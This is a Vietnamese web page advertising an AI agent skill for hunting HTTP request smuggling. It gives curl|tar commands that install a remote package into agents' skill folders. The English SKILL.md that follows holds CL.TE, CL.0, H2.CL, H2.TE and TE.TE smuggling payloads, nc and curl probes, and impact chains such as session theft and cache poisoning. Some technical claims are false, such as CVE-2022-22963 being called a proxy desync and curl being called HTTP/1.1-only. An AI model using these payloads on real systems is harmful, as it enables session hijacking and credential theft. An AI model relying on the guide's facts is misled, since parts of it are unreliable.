hunt-http-smuggling – skill Thiết kế & UI cho agent AI
Săn HTTP request smuggling (CL.TE, TE.CL, H2.CL, H2.TE). Nguyên nhân: proxy phía trước và server phía sau không thống nhất về nơi kết thúc một request và bắt đầu request tiếp theo (phân tích header Content-Length và Transfer-Encoding không nhất quán). CL.TE: front-end dùng CL, back-end dùng TE → smuggle bằng cách gửi TE: chunked nhưng với phần body vừa khớp
Cài skill hunt-http-smuggling bằng một lệnh
Chọn công cụ bạn đang dùng, copy lệnh và dán vào terminal. Skill sẽ nằm trong thư mục skills của công cụ đó và sẵn sàng dùng ở phiên làm việc tiếp theo.
Claude Code
mkdir -p ~/.claude/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-http-smuggling-a28ac.tgz | tar xz -C ~/.claude/skills
Gọi trong Claude Code: /hunt-http-smuggling – rồi mô tả công việc bạn muốn làm.
Codex
mkdir -p ~/.codex/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-http-smuggling-a28ac.tgz | tar xz -C ~/.codex/skills
Gọi trong Codex: $hunt-http-smuggling – rồi mô tả công việc bạn muốn làm.
Hermes Agent
mkdir -p ~/.hermes/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-http-smuggling-a28ac.tgz | tar xz -C ~/.hermes/skills
Gọi trong Hermes Agent: /hunt-http-smuggling – rồi mô tả công việc bạn muốn làm.
DeepSeek
mkdir -p ~/.deepcode/skills && curl -fsSL https://skill.dn1nguoi.com/z/hunt-http-smuggling-a28ac.tgz | tar xz -C ~/.deepcode/skills
Gọi trong DeepSeek: /hunt-http-smuggling – rồi mô tả công việc bạn muốn làm.
Nội dung SKILL.md
Nội dung SKILL.md gốc bằng tiếng Anh.
17. HTTP REQUEST SMUGGLING
> Lowest dup rate. $5K–$30K. PortSwigger research by James Kettle.
CL.TE (Content-Length front, Transfer-Encoding back)
POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLEDDetection
1. Burp extension: HTTP Request Smuggler
2. Right-click request → Extensions → HTTP Request Smuggler → Smuggle probe
3. Manual timing: CL.TE probe + ~10s delay = backend waiting for rest of bodyImpact Chain
Poison next request → access admin as victim
Steal credentials → capture victim's session
Cache poisoning → stored XSS at scale---
Target-Suitability Matrix (2026 reality check)
The classic CL.TE / TE.CL payloads are NOT universally exploitable in 2026. Modern proxies are RFC 9112 strict by default. Fingerprint the front-end BEFORE investing time.
| Front-end | CL.TE | TE.CL | H2.CL | H2.TE | Notes |
|---|---|---|---|---|---|
| Nginx >= 1.21 | NO | NO | partial (H2 ingress) | partial | Common configurations reject ambiguous CL+TE requests, but behavior still depends on the complete proxy chain. |
| Caddy 2.x | NO | NO | — | — | Hardened by default |
| Envoy ≥ 1.20 | NO | NO | partial | partial | Hardened in most paths |
| HAProxy ≤ 2.4 | ✓ | ✓ | — | — | Vulnerable, see CVE-2021-40346 |
| AWS ALB + specific upstream | partial | partial | ✓ | ✓ | Several disclosed-paid reports 2022-2024 |
| Cloudflare → S3 / Lambda chains | — | — | ✓ | ✓ | H2-downgrade attacks remain viable |
| Older F5 BIG-IP (TMM < 16) | ✓ | — | — | — | Vendor advisories |
| Citrix ADC / NetScaler (older firmware) | ✓ | ✓ | — | — | Disclosed in 2020-2022 |
| Squid 3.x | ✓ | — | — | — | Older deployments |
| Apache Traffic Server (older) | ✓ | ✓ | ✓ | ✓ | PortSwigger research |
| Custom Python / Go proxies | ✓ | ✓ | — | — | Frequently miss RFC enforcement |
Operator fingerprint quick-check
curl --max-time 30 --connect-timeout 10 -sI https://target/ | grep -i "Server:"nginx/1.21+,Caddy,envoy→ CL/TE classic is dead — pivot to H2.CL/H2.TE if the front-end speaks HTTP/2, or look for legacy proxies upstreamHAProxy, header points to AWS/CDN → run the full payload matrix- No Server header → assume hardened, but run a single quick
space-before-colonprobe; if it doesn't 400, dig deeper
H2.CL / H2.TE (the modern dominant vector)
H2-downgrade smuggling attacks rely on the front-end speaking HTTP/2 to the client and HTTP/1.1 to origin. The downgrade introduces CL/TE confusion because HTTP/2's frame-length headers don't survive the conversion cleanly. Most CDN+origin chains in 2024-2026 use this exact topology.
Tools that send HTTP/2 raw frames (Burp Pro's HTTP Request Smuggler extension, h2csmuggler, smuggler.py) are the right starting point against CDN-fronted targets. Avoid HTTP/1.1-only test clients (curl, raw sockets) against H2-front-ended targets — you'll send the wrong protocol entirely.
---
CL.0 Desync (Content-Length ignored by backend)
Also called "CL.0" or "ignored Content-Length". The front-end reads Content-Length and forwards the body. The backend does NOT parse Content-Length — it reads until connection close. This leaves the body bytes dangling as the start of the next request on a keep-alive connection.
Detection with raw socket:
# CL.0 probe — send a POST with smuggled prefix after the body
# The backend ignores CL and treats the smuggled bytes as the next request
{
echo -en 'POST / HTTP/1.1\r\nHost: target.com\r\nContent-Length: 6\r\nConnection: keep-alive\r\n\r\nSMUGGL'
sleep 2
echo -en 'GET /404 HTTP/1.1\r\nHost: target.com\r\nConnection: close\r\n\r\n'
} | nc -w 10 target.com 443Curl-based blind probe:
# CL.0 timing probe: delay on backend indicates CL ignored
curl --max-time 30 --connect-timeout 10 -s --raw -X POST "https://target.com/" \
-H "Transfer-Encoding: chunked" \
-H "Content-Length: 4" \
-d $'x' \
--max-time 15 \
-w "\nHTTP_CODE: %{http_code}\nTIME: %{time_total}\n"When CL.0 is most likely:
- Custom Go/Python/Rust backends that use
http.Handlerwithr.Body.Readbut don't enforce CL - PHP-FPM behind a proxy (PHP ignores CL on POST when
max_input_varsnot hit) - Server-Timing header leaks internal proxy processing
Key indicator: A POST request with mismatched CL that does NOT return HTTP 400. The backend swallowed a wrong Content-Length without complaint.
---
H2.CL Desync (HTTP/2 → HTTP/1.1 CL Injection)
The attacker sends an HTTP/2 request containing a content-length header. The HTTP/2 front-end trusts its own frame-length to delimit the request and passes the CL header through to the HTTP/1.1 backend. The backend then uses the downgraded CL header for delimitation, while the front-end already consumed the full frame — creating a desync on the upstream HTTP/1.1 connection.
Netflix $20k case study (HackerOne 2021-2022):
- Researcher @defparam identified that Netflix's HTTP/2 termination layer forwarded
content-lengthheaders into HTTP/1.1 upstream connections - The HTTP/2 frame length was 0 (no body), but the injected
content-length: 50header told the backend to expect 50 more bytes - Front-end forwarded the next request's bytes as the "body" of the smuggled request
- Impact: cache poisoning of Netflix's API responses, session hijacking on shared upstream connections
- Bounty: $20,000. Fixed by stripping
content-lengthfrom all H2→H1.1 downgraded requests.
Detection with h2csmuggler:
# Install h2csmuggler
pip install h2csmuggler
# Probe H2.CL with a delay-based detector
h2csmuggler.py -x https://target.com --h2cl --method GET --path "/" \
--smuggled-path "/api/internal/admin" \
--smuggled-host "target.com" \
--delay 5Manual Burp probe:
1. Burp → Repeater → switch protocol to HTTP/2
2. Remove :method pseudo-header body length (set to 0)
3. Add content-length: 100 as a regular header
4. Place the smuggled request in the DATA frame after the headers
5. Send → observe if a subsequent request triggers a 404 to /smuggled-path
---
H2.TE Desync (HTTP/2 Transfer-Encoding Injection)
HTTP/2 officially removes Transfer-Encoding — it uses frame-length exclusively. But when a front-end downgrades H2→H1.1 and permits transfer-encoding: chunked to survive the conversion, the H1.1 backend uses TE and waits for chunk boundaries. The attacker sends a complete H2 frame (front-end satisfied) plus a chunked body that the backend never finishes reading → next request bytes consume the chunk body.
AWS ALB case study (Albibir, 2023):
- Researcher discovered that AWS Application Load Balancer (ALB) when configured with HTTP/2 listener → HTTP/1.1 target groups, would pass
transfer-encodingheaders from HTTP/2 requests into the HTTP/1.1 upstream - ALB correctly terminated H2 using frame-length, but included TE: chunked in the H1.1 upstream request
- The Nginx/HTTPD origin would then interpret the body as chunked — 0\r\n\r\n ends the chunk, and subsequent bytes form a smuggled HTTP request
- Impact: full cache poisoning of ALB-cached responses, credential theft across ALB-connected microservices
- Disclosure: patched by AWS after confirmed reproduction — ALB now strips TE headers on downgrade
- Pattern similar to CVE-2022-22963 (Spring Cloud Function) leveraging proxy desync
Detection:
# H2.TE probe with h2csmuggler
h2csmuggler.py -x https://target.com --h2te --method POST --path "/" \
--body "0\r\n\r\nGET /admin HTTP/1.1\r\nHost: target.com\r\n\r\n" \
--delay 10
# Manual H2.TE via Burp (Repeater → HTTP/2):
# 1. Add header: transfer-encoding: chunked
# 2. Body: "0\r\n\r\nGET /404 HTTP/1.1\r\nHost: target.com\r\n\r\n"
# 3. The DATA frame has full body, but backend reads chunked encoding
# 4. Follow with a real GET / → expect 404 for /404When ALB is vulnerable:
- ALB listener protocol: HTTPS (HTTP/2)
- Target group protocol: HTTP/1.1
- Origin server parsing chunked encoding on keep-alive connections
- Verify with:
curl -si https://target/ | grep -i "server:"— if no explicit ALB header, test anyway
---
TE.TE Obfuscation (Header Smuggling)
When both front-end and back-end support Transfer-Encoding, but parse the header differently, obfuscation variants can make one side see TE while the other ignores it.
Variant matrix:
| Variant | Header | Front-end behavior | Back-end behavior |
|---------|--------|-------------------|-------------------|
| Chunked + space | Transfer-Encoding : chunked | Space after name → ignores TE | Reads TE correctly |
| Tab injection | Transfer-Encoding:\tchunked | Tab before value → skips TE | Reads chunked |
| Double header | Transfer-Encoding: x + Transfer-Encoding: chunked | Picks first → skips | Picks last → uses chunked |
| x-chunked | Transfer-Encoding: xchunked | No match → no TE | Tolerant → reads chunked |
| Random padding | `Transfer-Encoding: chunked\r\nT
… (nội dung đầy đủ có trong gói tải về)
Skill liên quan
- churn-prevention – Giảm churn tự nguyện và không tự nguyện thông qua thiết kế luồng hủy, ưu đãi giữ chân…
- duckduckgo-search – Tìm kiếm web, tin tức và hình ảnh miễn phí, không cần khóa API qua ddgs.
- aurora-ui – Hướng dẫn triển khai web và app cho Aurora UI. Kích hoạt khi người dùng muốn hiệu ứng…
- avalonia-layout-zafiro – Hướng dẫn bố cục Avalonia UI hiện đại với Zafiro.Avalonia, nhấn mạnh style dùng chung…
- avalonia-zafiro-development – Kỹ năng bắt buộc, quy ước và quy tắc hành vi khi phát triển Avalonia UI với bộ công cụ…
- offers – Khi người dùng muốn thiết kế, xây dựng hoặc cải thiện một offer — thứ họ thực sự bán —…
- interaction-design – Thiết kế và triển khai microinteraction, motion design, hiệu ứng chuyển cảnh và các mẫu…
- commercial-policy – Dùng khi thiết kế hoặc chỉnh sửa chính sách thương mại của công ty — các quy tắc tham…